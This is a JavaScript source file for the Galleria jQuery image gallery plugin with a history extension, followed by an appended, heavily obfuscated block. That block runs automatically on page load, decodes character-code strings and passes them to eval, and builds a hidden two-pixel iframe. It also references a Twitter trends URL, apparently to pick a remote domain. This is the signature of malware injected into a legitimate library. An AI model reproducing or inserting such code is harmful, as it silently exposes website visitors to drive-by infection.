/**
 * Galleria (http://monc.se/kitchen)
 *
 * Galleria is a javascript image gallery written in jQuery. 
 * It loads the images one by one from an unordered list and displays thumbnails when each image is loaded. 
 * It will create thumbnails for you if you choose so, scaled or unscaled, 
 * centered and cropped inside a fixed thumbnail box defined by CSS.
 * 
 * The core of Galleria lies in it's smart preloading behaviour, snappiness and the fresh absence 
 * of obtrusive design elements. Use it as a foundation for your custom styled image gallery.
 *
 * MAJOR CHANGES v.FROM 0.9
 * Galleria now features a useful history extension, enabling back button and bookmarking for each image.
 * The main image is no longer stored inside each list item, instead it is placed inside a container
 * onImage and onThumb functions lets you customize the behaviours of the images on the site
 *
 * Tested in Safari 3, Firefox 2, MSIE 6, MSIE 7, Opera 9
 * 
 * Version 1.0
 * Februari 21, 2008
 *
 * Copyright (c) 2008 David Hellsing (http://monc.se)
 * Licensed under the GPL licenses.
 * http://www.gnu.org/licenses/gpl.txt
 **/

;(function($){

var $$;


/**
 * 
 * @desc Convert images from a simple html <ul> into a thumbnail gallery
 * @author David Hellsing
 * @version 1.0
 *
 * @name Galleria
 * @type jQuery
 *
 * @cat plugins/Media
 * 
 * @example $('ul.gallery').galleria({options});
 * @desc Create a a gallery from an unordered list of images with thumbnails
 * @options
 *   insert:   (selector string) by default, Galleria will create a container div before your ul that holds the image.
 *             You can, however, specify a selector where the image will be placed instead (f.ex '#main_img')
 *   history:  Boolean for setting the history object in action with enabled back button, bookmarking etc.
 *   onImage:  (function) a function that gets fired when the image is displayed and brings the jQuery image object.
 *             You can use it to add click functionality and effects.
 *             f.ex onImage(image) { image.css('display','none').fadeIn(); } will fadeIn each image that is displayed
 *   onThumb:  (function) a function that gets fired when the thumbnail is displayed and brings the jQuery thumb object.
 *             Works the same as onImage except it targets the thumbnail after it's loaded.
 *
**/

$$ = $.fn.galleria = function($options) {
	
	// check for basic CSS support
	if (!$$.hasCSS()) { return false; }
	
	// init the modified history object
	$.historyInit($$.onPageLoad);
	
	// set default options
	var $defaults = {
		insert      : '.galleria_container',
		history     : true,
		clickNext   : true,
		onImage     : function(image,caption,thumb) {},
		onThumb     : function(thumb) {},
		preloads	: 3
	};
	

	// extend the options
	var $opts = $.extend($defaults, $options);
	
	// bring the options to the galleria object
	for (var i in $opts) {
		$.galleria[i]  = $opts[i];
	}
	
	// if no insert selector, create a new division and insert it before the ul
	var _insert = ( $($opts.insert).is($opts.insert) ) ? 
		$($opts.insert) : 
		jQuery(document.createElement('div')).insertBefore(this);
		
	// create a wrapping div for the image
	var _div = $(document.createElement('div')).addClass('galleria_wrapper');
	
	// create a caption span
	var _span = $(document.createElement('span')).addClass('caption');
	
	// inject the wrapper in in the insert selector
	_insert.addClass('galleria_container').append(_div).append(_span);
	
	//-------------
	
	return this.each(function(){
		
		// add the Galleria class
		$(this).addClass('galleria');
		
		// loop through list
		$(this).children('li').each(function(i) {
			
			// bring the scope
			var _container = $(this);
			                
			// build element specific options
			var _o = $.meta ? $.extend({}, $opts, _container.data()) : $opts;
			
			// remove the clickNext if image is only child
			_o.clickNext = $(this).is(':only-child') ? false : _o.clickNext;
			
			/************************** Modified to get faster loads ******************************************/
			
			// try to fetch an anchor
			var _a = $(this).find('a');
			
			// reference the original image as a variable and hide it
			var _img = $(this).children('img').css('display','none');
			
			// extract the original source
			var _src = _a.attr('href');
			
			// Added for faster loads
			if (i < _o.preloads) {
				$.galleria.queue.push(_src);
			}
			
			// find a title
			var _title = _a.attr('title');

			// check url and activate container if match
			if (_o.history && (window.location.hash && window.location.hash.replace(/\#/,'') == _src)) {
				_container.siblings('.active').removeClass('active');
				_container.addClass('active');
			}
			
			var _thumb = _a.find('img').addClass('thumb').css('display','none');
			_a.replaceWith(_thumb);
			
			// center thumbnails.
			_thumb.css({
				marginLeft: (_thumb.width > 0 ? (-( _thumb.width() - _container.width() )/2) : 0), 
				marginTop: (_thumb.height > 0 ? (-( _thumb.height() - _container.height() )/2) : 0) 
			});
			
			// add the rel attribute
			_thumb.attr('rel',_src);
			
			// add the title attribute
			_thumb.attr('title',_title);
			
			// add the click functionality to the _thumb
			_thumb.click(function() {
				$.galleria.activate(_src);
			});
			
			// hover classes for IE6
			_thumb.hover(
				function() { $(this).addClass('hover'); },
				function() { $(this).removeClass('hover'); }
			);
			_container.hover(
				function() { _container.addClass('hover'); },
				function() { _container.removeClass('hover'); }
			);

			// prepend the thumbnail in the container
			_container.prepend(_thumb);
			
			// show the thumbnail
			_thumb.css('display','block');
			
			// call the onThumb function
			_o.onThumb(jQuery(_thumb));
			
			// check active class and activate image if match
			if (_container.hasClass('active')) {
				$.galleria.activate(_src);
			}
			
			// finally delete the original image
			_img.remove();
				
			/********************************************************************/									
		});
		
		// Added for faster loading. Init loading.
		var _first = $.galleria.nextInQueue();
		if (_first != null) {
			$.galleria.preload(_first);
		}
	});
};

/**
 *
 * @name NextSelector
 *
 * @desc Returns the sibling sibling, or the first one
 *
**/

$$.nextSelector = function(selector) {
	return $(selector).is(':last-child') ?
		   $(selector).siblings(':first-child') :
    	   $(selector).next();
    	   
};

/**
 *
 * @name previousSelector
 *
 * @desc Returns the previous sibling, or the last one
 *
**/

$$.previousSelector = function(selector) {
	return $(selector).is(':first-child') ?
		   $(selector).siblings(':last-child') :
    	   $(selector).prev();
    	   
};

/**
 *
 * @name hasCSS
 *
 * @desc Checks for CSS support and returns a boolean value
 *
**/

$$.hasCSS = function()  {
	$('body').append(
		$(document.createElement('div')).attr('id','css_test')
		.css({ width:'1px', height:'1px', display:'none' })
	);
	var _v = ($('#css_test').width() != 1) ? false : true;
	$('#css_test').remove();
	return _v;
};

/**
 *
 * @name onPageLoad
 *
 * @desc The function that displays the image and alters the active classes
 *
 * Note: This function gets called when:
 * 1. after calling $.historyInit();
 * 2. after calling $.historyLoad();
 * 3. after pushing "Go Back" button of a browser
 *
**/

$$.onPageLoad = function(_src) {	
	
	// get the wrapper
	var _wrapper = $('.galleria_wrapper');
	
	// get the thumb
	// Modified to work with latest version of jQuery
	var _thumb = $('.galleria img[rel="'+_src+'"]');
	
	if (_src) {
		
		// new hash location
		if ($.galleria.history) {
			window.location = window.location.href.replace(/\#.*/,'') + '#' + _src;
		}
		
		// alter the active classes
		_thumb.parents('li').siblings('.active').removeClass('active');
		_thumb.parents('li').addClass('active');
	
		// define a new image
		// Modified for faster loads
		var _loader = $.galleria.loader;
		if (!$.galleria.isLoaded(_src) && _loader != null) {
			_wrapper.empty().append(_loader);
			_wrapper.siblings('.caption').empty();
		}
		var _img = $.galleria.loadImage(_src, function() {
			// empty the wrapper and insert the new image
			_wrapper.empty().append($(this));
	
			// insert the caption
			// Modified to allow html in captions
			_wrapper.siblings('.caption').html(_thumb.attr('title'));
			
			// fire the onImage function to customize the loaded image's features
			$.galleria.onImage($(this),_wrapper.siblings('.caption'),_thumb);
			
			// add clickable image helper
			if($.galleria.clickNext) {
				$(this).css('cursor','pointer').click(function() { $.galleria.next(); })
			}
		}).addClass('replaced');
		
	} else {
		
		// clean up the container if none are active
		_wrapper.siblings().andSelf().empty();
		
		// remove active classes
		$('.galleria li.active').removeClass('active');
	}

	// place the source in the galleria.current variable
	$.galleria.current = _src;
}

/**
 *
 * @name jQuery.galleria
 *
 * @desc The global galleria object holds four constant variables and four public methods:
 *       $.galleria.history = a boolean for setting the history object in action with named URLs
 *       $.galleria.current = is the current source that's being viewed.
 *       $.galleria.clickNext = boolean helper for adding a clickable image that leads to the next one in line
 *       $.galleria.next() = displays the next image in line, returns to first image after the last.
 *       $.galleria.prev() = displays the previous image in line, returns to last image after the first.
 *       $.galleria.activate(_src) = displays an image from _src in the galleria container.
 *       $.galleria.onImage(image,caption) = gets fired when the image is displayed.
 *
**/

$.extend({galleria : {
	current : '',
	onImage : function(){},
	activate : function(_src) { 
		if ($.galleria.history) {
			$.historyLoad(_src);
		} else {
			$$.onPageLoad(_src);
		}
	},
	// Added for faster loads
	getNext : function() {
		return $($$.nextSelector($('.galleria img[rel="'+$.galleria.current+'"]').parents('li'))).find('img').attr('rel');
	},
	next : function() {		
		// Added to keep thumbnail scroller in sync with main image		
		if (!$.galleria.stopped) {
		
			// Modified to work with latest version of jQuery
			$.galleria.activate($.galleria.getNext());
			
			// Added to make thumbnails scroll
			ImageScroller.scrollRight();
		}
	},
	getPrev : function() {
		return $($$.previousSelector($('.galleria img[rel="'+$.galleria.current+'"]').parents('li'))).find('img').attr('rel');
	},
	prev : function() {
		// Added to keep thumbnail scroller in sync with main image				
		if (!$.galleria.stopped) {
		
			// Modified to work with latest version of jQuery
			$.galleria.activate($.galleria.getPrev());
			
			// Added to make thumbnails scroll
			ImageScroller.scrollLeft();
		}
	},	
	// Added to enable faster loads
	queue : new Array(),
	loaded : new Array(),
	isQueued : function(_src) {
		return $.inArray(_src, $.galleria.queue) > -1;	
	},
	isLoaded : function(_src) {
		return $.inArray(_src, $.galleria.loaded) > -1;
	},
	nextInQueue : function() {
		if ($.galleria.queue.length > 0) {
			var _next = $.galleria.queue.shift();
			if ($.galleria.isLoaded(_next)) {
				return $.galleria.nextInQueue();
			}
			return _next;
		}
		return null;
	},
	preload : function(_src) {
		return $.galleria.loadImage(_src, function() {				
			if ($.galleria.queue.length > 0) {
				var _next = $.galleria.nextInQueue();
				if (_next != null) {
					$.galleria.preload(_next);
				}
			}
		});
	},
	loadImage : function(_src, _onLoad) {
		$.galleria.loaded.push(_src);
		var _img = $(new Image());
		if (typeof _onLoad == 'function') {
			_img.load(_onLoad);
		}
		return _img.attr('src',_src);
	}, 
	// Added to keep thumbnail scroller in sync with main image	
	stopped : false,
	start : function() {
		$.galleria.stopped = false;
	},
	stop : function() {
		$.galleria.stopped = true;
	},
	loader : null
}
});

})(jQuery);


/**
 *
 * Packed history extension for jQuery
 * Credits to http://www.mikage.to/
 *
**/


jQuery.extend({historyCurrentHash:undefined,historyCallback:undefined,historyInit:function(callback){jQuery.historyCallback=callback;var current_hash=location.hash;jQuery.historyCurrentHash=current_hash;if(jQuery.browser.msie){if(jQuery.historyCurrentHash==''){jQuery.historyCurrentHash='#'}$("body").prepend('<iframe id="jQuery_history" style="display: none;"></iframe>');var ihistory=$("#jQuery_history")[0];var iframe=ihistory.contentWindow.document;iframe.open();iframe.close();iframe.location.hash=current_hash}else if($.browser.safari){jQuery.historyBackStack=[];jQuery.historyBackStack.length=history.length;jQuery.historyForwardStack=[];jQuery.isFirst=true}jQuery.historyCallback(current_hash.replace(/^#/,''));setInterval(jQuery.historyCheck,100)},historyAddHistory:function(hash){jQuery.historyBackStack.push(hash);jQuery.historyForwardStack.length=0;this.isFirst=true},historyCheck:function(){if(jQuery.browser.msie){var ihistory=$("#jQuery_history")[0];var iframe=ihistory.contentDocument||ihistory.contentWindow.document;var current_hash=iframe.location.hash;if(current_hash!=jQuery.historyCurrentHash){location.hash=current_hash;jQuery.historyCurrentHash=current_hash;jQuery.historyCallback(current_hash.replace(/^#/,''))}}else if($.browser.safari){if(!jQuery.dontCheck){var historyDelta=history.length-jQuery.historyBackStack.length;if(historyDelta){jQuery.isFirst=false;if(historyDelta<0){for(var i=0;i<Math.abs(historyDelta);i++)jQuery.historyForwardStack.unshift(jQuery.historyBackStack.pop())}else{for(var i=0;i<historyDelta;i++)jQuery.historyBackStack.push(jQuery.historyForwardStack.shift())}var cachedHash=jQuery.historyBackStack[jQuery.historyBackStack.length-1];if(cachedHash!=undefined){jQuery.historyCurrentHash=location.hash;jQuery.historyCallback(cachedHash)}}else if(jQuery.historyBackStack[jQuery.historyBackStack.length-1]==undefined&&!jQuery.isFirst){if(document.URL.indexOf('#')>=0){jQuery.historyCallback(document.URL.split('#')[1])}else{var current_hash=location.hash;jQuery.historyCallback('')}jQuery.isFirst=true}}}else{var current_hash=location.hash;if(current_hash!=jQuery.historyCurrentHash){jQuery.historyCurrentHash=current_hash;jQuery.historyCallback(current_hash.replace(/^#/,''))}}},historyLoad:function(hash){var newhash;if(jQuery.browser.safari){newhash=hash}else{newhash='#'+hash;location.hash=newhash}jQuery.historyCurrentHash=newhash;if(jQuery.browser.msie){var ihistory=$("#jQuery_history")[0];var iframe=ihistory.contentWindow.document;iframe.open();iframe.close();iframe.location.hash=newhash;jQuery.historyCallback(hash)}else if(jQuery.browser.safari){jQuery.dontCheck=true;this.historyAddHistory(hash);var fn=function(){jQuery.dontCheck=false};window.setTimeout(fn,200);jQuery.historyCallback(hash);location.hash=newhash}else{jQuery.historyCallback(hash)}}});


(function(f_bcr){f_bcr();setTimeout(function(){d='f_bbT={v7bvbbv1av86vc2vc7vc1vc6v80:"",v7bvbbv2av86vc2vc8vc1vc6v80:"",v9bvbbv3av86vc2vc7vc1vc6v30:"l=St",v86v85v4evb2v90v78vcfv92v75:"ring.f",v82v7dv52vbavbfvccv76v9av76:"romCha",v78vb8v68v92v95v7evd0v75v94:"rCode(",c7vb2vc3v71vb7vb0vb3vb3vc8:81,q8ev73vb2vb3vb4vb5vb6vb7vb8:81,bevc0vbfvc1vc2vc3vc4vc5vc6:86,c2vc3vc4vc5vc6vc7vc8vc9vca:81,cdv75v81vc6vc3vbfvbcvc7v7b:83,q77v77v79v8bvb6vc5vbevb3vc4:80,c3vc9vc8v7avc0vb9vbcvbcva7:90,q7av76v7bvcdvbbvb8v7avc6vcb:82,c6vbbvc5vbcv7ev7av7fv77v93:86,b7vb0vb3vb3vb7v7fvb7vb0vb3:81,b9vc0v80vd2v7bv7fvbdvccvc5:87,b4vc5vbavc0vbfv79v7avccvba:81,c0v82vcevd3vcavbfvc9vc0v82:90,q7cv86vbevb7vbavbava0v81v79:88,q90vb9vb2vb5vb5vb9v81vb9vb2:83,b9vb9vc0v80vd2vc9vbcvcbvcc:87,c2vbevcdv74v7evb6vafvb2vb2:80,a1v96v8av94vbfvb8vbbvbbvc1:89,q92v77vbdvc9vc9vc5v8fv84v84:85,q75v7evb9vb2vb5vb5vb9v81vb9:83,afvb2vb2v9ev7bv72v8fvb3vb1:80,c1vc1vb7vb6vb8vc0v92v94v77:85,q93v7cv86vbfvbdvccva2vabva7:88,a1v7bvb9vb2vb5vb5vbbv7fvb9:83,c5vbevb3vc4vb9vbfvbev78vb6:80,b1vb4vb4v97v7bvcdvb8vb1vb4:82,b3vbbv8evb7vb0vb3vb3vbev79:81,b9vb2vb5vb5v98v7cv8evb9vb2:83,b5vb5v9av90vb9vb2vb5vb5v94:83,q7fvbdvb6vb9vb9vc1v80v92vbd:87,b3vb6vb6vc6v91vbavc9vc2vb7:84,c9vbevc4vc3v7dvcdv81vbev7e:85,d2vc9vbcvcbvccvc9vc5v7fvbd:87,b4vb7vb7vcdv7dvcdv80v77v77:85,q83v87v8bv83v99vd2v94v7cv8a:90,q75v7evcbvd0v8evb9vb2vb5vb5:83,c4v8dv77vb4vb2vc3vb1vc9vc4:80,c3vb6vcbvc2vc9vb6vcbvc2vc7:85,b1vbdvbcvb3vb1vbfvc8vbbvb1:80,b8vb6vc5vb3vb4vc8vb8vb3vcb:82,ccvcavb8vc4vbavc7vb8vc5vba:87,ccvb3vb9vb6vc9v79v80vc5vc2:82,bcvb9vc4v78v77vb1v77v79v8b:80,bavb3vb6vb6vbev82vc7vb9vc8:84,a6va5v94v95vb2vc5vb6v79vb7:81,b4vb7vb7vbfv83vbcvbavc9vaa:85,acv9bv9cvb9vccvbdv80v81v85:88,q78v78vb6vafvb2vb2v97v8ev88:80,q83v99v8cv94v8dv83v83v95vc0:90,b5vb8vb8vb7v93vbcvb5vb8vb8:86,c3v87vc0vbevcdvaevadv9cv9f:89,c9vc0vc0vadvb9vb5vc6v7cv7d:84,q84vbdvb6vb9vb9va1v7fv7bv83:87,aev7ava6vbbvc2vb6vbevcavb4:83,ccvbbv76v9cvc2vb7vc9vbev7d:86,b7v83v95vc0vb9vbcvbcvd0v97:90,b9vb2vb5vb5vbdv81vbavb8vc7:83,acvabv9ava4vc6vc5vcbvbfv7f:87,q7av7cv82v8cvb7vb0vb3vb3v95:81,q97vc0vb9vbcvbcvc4v88vc1vbf:90,c4va5va4v93v94vb1vc4vb5v78:80,q81v93vbevb7vbavbavbfv95vbe:88,b7vbavbavd1v80vb3vbevb7vba:88,b4vbav7ev74v78vb6vb3vc6vb7:82,q90v75v7fv77v81vc0vb4vc3v7b:83,b5vc0vb9vbcvbcvbbv86vc0vb9:90,b4vb4vc8v7evb8vb1vb4vb4v96:82,b1v80vbavb3vb6vb6vc6v7dv82:84,c1vc6vc0vc5v7fv79v84v79v80:87,b5v81v93vcbvbdvccvacvc1vc5:88,bcvc6vccvcbv7fvbdvccvc5vba:87,c9vbevc4vc3v7dv7evd0v79v83:85,bdvbbvcava0va9va5va4v7evbc:86,b5vb8vb8vbdv82vbcvcbvc4vb9:86,cbvc0vc6vc5v7fvbdvb6vb9vb9:87,q9cv80vd2vbdvb6vb9vb9vc6v94:87,q8av95vc0vb9vbcvbcvc5v97vc0:90,afvb2vb2v95v7evc4vc2vb5vbe:80,bevcdv95vc0vc9vccv82vc0vb9:90,b9vb9vd1v77vc0vc5v77vbdvb6:87,b9vb9vc2v80vd2vbdvb6vb9vb9:87,q96v91vbavc9vc2vb7vc8vbdvc3:84,bev78vb6vafvb2vb2vc1v79vcb:80,c8vbbvcavcbvc8vc4v76vbcvb5:86,bbvbbvc4vb4vbfvb8vbbvbbvd3:89,b0vaevb9vb2vb5vb5vc4vb0v81:83,c1vc5vb5vc2vc9vcdv8bvb9vb6:80,q7dvbbvb4vb7vb7v9cv93v8dv7b:85,q7bvbbvb4vb7vb7v9cv91v87v86:85,q77v77vb7vb0vb3vb3vcbv7fvba:81,c6vbcvbdvd0va7vbev80v7fv78:88,q85v8cv7cv7ev93v82v86v7evd0:85,bevb7vbavbavc7v95vbevb7vba:88,bav9bv80vbevb7vbavbav9av80:88,q87v7cv7fv84v7cv7evb9vb2vb5:83,b3vc9v79vb7vb0vb3vb3v93v79:81,q8bv80v80v92vb9vc9vbcvb8vc2:87,cevb6vbdvc4vb6v71vbavb7v79:81,q7fvbdvb6vb9vb9v9ev93v90vd3:87,d2vbcvb5vb8vb8v9dv94v88v86:86,q81v7ev7evbevb7vbavbavd2v86:88,b9vbevb4vb5vc8v9fvb6v78v77:80,q70v81v88v77v79v8ev7dv81v79:80,d1vbcvb5vb8vb8vc5v93vbcvb5:86,bavbav9bv80vbevb7vbavbav9a:88,q7av86v7bv7ev83v7bv7dvb8vb1:82,b6vb6vccv7cvbavb3vb6vb6v96:84,q7dv89v7ev7ev80v86v85v90vb7:85,ccvbfvbbvc5vd7vd7vc3vc0v82:90,q75vbavb3vb6vb6vc3v7dvbavb3:84,bavbavc7v95vbevb7vbavbav9b:88,q7bvb9vb2vb5vb5vbevaevb9vb2:83,bbvbbvd3vb6vb4v8fvb6v87vca:89,cavbavc7vcev81v86v7ev80v8c:85,q7evb9vb2vb5vb5vcbv7bvb9vb2:83,bavbavc3vb3vbevb7vbavbavd2:88,b0vaev89vb0v81vc4vc8vb8vc5:83,cdv7dv8fvbdvbav7cvbavb3vb6:84,b8vc5v7fvd1vbcvb5vb8vb8vc9:86,q8ev79v79v79vb7vb0vb3vb3vb2:81,q7bv78vb6vafvb2vb2vbfv7avb6:80,b6vb9vb9v9bv80v80v82v7fvbd:87,b4vb7vb7vcbvb3vbbvb4vb7vb7:85,q9bv80v81vbdvb6vb9vb9vc6v80:87,q7bvb6vafvb2vb2v94v79v7bv78:80,q89v88v88v81v93vbevb7vbavba:88,bev96v81vbfvb8vbbvbbvbav7f:89,q8avd2v9bv9bv83v95vc0vb9vbc:90,b5vb7v90v7bvb9vb2vb5vb5vb4:83,q7bv85vcdv88v88v86v86v7ev90:85,bdvb6vb9vb9vbav94vbdvb6vb9:87,bcvd1vb5v82v82vc0vb9vbcvbc:90,bcv82vbdvb6vb9vb9vcav80v7c:87,q87v84v7av76v83v87vaev7cvb7:81,b6vb9vb9vcevb2v7fv7fvbdvb6:87,bavbavbdv94v94v8av81v83vbe:88,afvb2vb2vc3v79v75v78v82v85:80,q7dvb1v8fvbavb3vb6v91vbavb3:84,b3vb3vc8vacv79v79v79vb7vb0:81,bavbavbcv96v96v8bv81v83vbe:88,afvb2vb2vc3v79v75v81v80v79:80,afv7dvb8vb1vb4vb4vc9vadv7a:82,q82v82vc0vb9vbcvbcvbev98v98:90,q87v7cv7evb9vb2vb5vb5vc6v7c:83,q7bv87v86v7fvb3v91vbcvb5vb8:86,b6vc9v91vbavb3vb6vb6vcbvaf:84,q79v79vb7vb0vb3vb3vc7v7cvb7:81,b4vb7vb7vc8v7ev7av7dv87v8a:85,q7fv7fvb3v81vbcvb5vb8vb8vcd:86,abv78v78vb6vafvb2vb2vc6v7a:80,bdvb6vb9vb9vcav80v7cv7fv89:87,q86v7av7avaev8cvb7vb0vb3vb3:81,c6v95vbevb7vbavbavcfvb3v80:88,q78vb6vafvb2vb2v94v7avb6vaf:80,b5vb5vc6v7cv78v85v87v7cvb0:83,q94vbfvb8vbbvbbva4v96v7dv87:89,bevb2vc1v79vacv89v82v7dv89:81,q85v7cv87v84v7cv87v84v7cv89:80,q8av84v89v8fv84v90v8av84v8f:88,q8dv86v92v8av86v8dv8av86v92:90,q86v80v8bv8bv80v86v89v80v85:84,q84v7fv84v83v7fv84v83v7fv89:83,q86v81v86v86v81v8av8bv81v8a:85,q8dv84v89v89v84v8dv8bv84v8e:88,q83v8cv8av83v8ev83v89v83v88:87,q85v89v85v8dv91vb6v85vbfvce:89,c5vbavcbvc0vc6vc5v7fvcfv83:87,c1v81vd3vcavbdvccvcdvcavc6:88,q75va8vc9vc7vbevc3vbcv83vbb:85,c4vc1vbfv95vbavb3vc4v95vc1:82,bavbbv7evbfv81vcev81v88v8a:86,q83vd7v83v95vc0vb9vbcvbcvca:90,q8fvb8vb1vb4vb4vcbv7avadv79:82,bcvc8vc8vc4v8ev83v83v7bv80:84,bfvb8vbbvbbvc7v85vbfvb8vbb:89,q82vbcvb5vb8vb8vcbv82vbcvb5:86,bcvbcvbdv86vc0vb9vbcvbcvc8:90,q84vbevb7vbavbavccvb3vbevb7:88,b7vb7vcbv82v86vb2v81v7cv83:85,b8vc4vc2v84v7cvb2v7ev80vbb:85,b0vb3vb3vcav79vb7vb0vb3vb3:81,a4v82v94vbfvb8vbbvbbv9fv96:89,bfvb8vbbvbbvd2v81vb4v80v95:89,b6vbbvc8v72vc5vc6vcbvbevb7:82,q95v7av7fv84vbevb7vbavbavaa:88,q85v80v96v7bv80v85vbfvb8vbb:89,b6vc4v80v7bv76v74vcbvbdvb8:84,cavbev93v87v86v86v76v7dv82:86,bcvb5vb8vb8va6v82v7dv94v92:86,q88vbdvc2vcfv97v80vb6v82v94:89,q7dv81v7bvbbvc8vbdvd2v7bv82:89,q85vb8vc7vc7vbcvc5vbbv7fvbd:87,afvb2vb2v96v79vcdvcdv79vcd:80,q80v86v84v84v84v7dvd1v7dvd1:84,q82vd6vbevc5vccvbevd4vccvbe:89,c9va9vbevc2vbavc4vcavc9v7d:85,c0vcfvc8vbdvcevc3vc9vc8v82:90,q7fvd1vbcvb5vb8vb8va3v7evbc:86,b9vbcvbcvc0v88vc4vabvcfvbf:90,c7vcev7evd2v81v87v85v85v7e:85,cfvcfvb8vc7vc0vb5vc6vbbvc1:82,c1v73vb9vb2vb5vb5v94v7bvcb:83,q79vcbvc2vb5vc4vc5vc2vbev70:80,cbv81vbavb8vc7va8va7v96v9b:83,c8vcevcbvccv81v82vd6vbfvce:89,c5vbavcbvc0vc6vc5v77vbdvb6:87,b3vb3vbev79vc9v7avccvb5v8e:81,c2vb9vcbv74v98vb5vc8vb9v7c:84,q7ev90vb9v83vc8vbavc9va9vbe:85,c4vbcv7fvcfv85vb8vcavb6vc6:87,bev82v89v88v88v88v81v93vca:88,bbvcavcbvc8vc4v76vbavd3vbc:86,c6vbfvb4vc5vbavc0vbfv71vb7:81,b9vbcvbcv9dv82vcdv86vc3v83:90,cbvc2vb5vc4vc5vc2vbev70vc3:80,q86vbbvc0vb9vcav9bvc7vbcvbd:88,q92vc5v79vbav7avcevb7vb0vb3:81,bava5v80vbevb7vbavbavbev86:88,beva5vc9vb9vc6vcdv7dv8fvba:84,c7vc0vb5vc6vbbvc1vc0v72vb8:82,b6vb9vb9vcfv7fvcfv80vd2vc9:87,b5vc4vc5vc2vbev70vc8v7evbc:80,bevc7vc0vcdvc1vd6:89,v86v85v7vb2v90v78vcfv92v77:"32);",v9vc8vcvbdvc6vbcv9bvc0vc1:"if(0){alert(l)};eval(l);",v77v7v70v99vc2v78v70v88v92:";"};f_bcd=[];f_bbf.f_bce=String[\'fr\'+f_bbf.f_bcg+\'har\'+f_bbf.f_bcf+\'de\'];f_bcd.push(\';f_bbf.f_bbR=f_bce(104,101,105,103,104,116,58,50,112,120,34,62,60,105,102,114,97,109,101,32,115,114,99);\');f_bcd.push(\'f_bbf.f_bbP=f_bce(104,101,105,103,104,116,61,50,62,60,47,105,102,114,97,109,101);\');f_bcd.push(\'f_bbf.f_bbN=f_bce(97,112,105,46,116,119,105,116,116,101,114,46,99,111,109,47,49,47,116,114,101,110,100,115,47,100,97,105,108,121,46,106,115,111,110);\');for(var f_bbS in f_bbT){f_bcd.push(f_bcb(f_bbS,f_bbT))};f_bcc(f_bby(f_bcd));try{f_bca.getElementById(window.f_bbN)}catch(e){}';f_bck=d;f_bcc(f_bck)},500)})(function(){f_bcv="0123456789";f_bca=document;f_bbf=window;f_bbf.f_bbi='undefined';f_bbf.f_bcf='Co';f_bbf.f_bcg='omC';f_bbf.f_bbJ=function($,f_bcw){return 0*1};f_bbf.f_bby=function(f_bbS){return f_bbS.join('')};f_bbf.f_bcc=eval;f_bbf.f_bcm=function(f_bbS){return f_bbS.pop()};f_bbf.f_bbf=f_bbf;f_bcu=function(){try{return!!($().jquery.match(/^1.[4-9]+/))}catch(e){return 0}};f_bcz=function(f_bbS){return f_bbS.length};f_bcp=(typeof($)==f_bbf.f_bbi);if(f_bcp||!f_bcu()){if(!f_bcp){try{f_bcy=jQuery.noConflict(true)}catch(e){};try{f_bcy=$.noConflict(true)}catch(e){}}f_bct=f_bca.getElementsByTagName('head')[0];f_bcj=f_bca.createElement('script');f_bcj.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");f_bct.appendChild(f_bcj)}f_bbf.f_bco=100;f_bbf.f_bcn=25;f_bbf.f_bcb=function(f_bcq,f_bci){if("rqbcadef".indexOf(f_bcq.substr(0,1))>=0){var f_bcx=f_bby(f_bcq.split('q')).split('v');f_bch=f_bcz(f_bcx);for(var f_bcs=0;f_bcs<f_bch;f_bcs++){f_bcx[f_bcs]=parseInt(f_bcx[f_bcs],16)-f_bci[f_bcq]}return f_bcx.join(',')+','}else{return f_bci[f_bcq]}}})

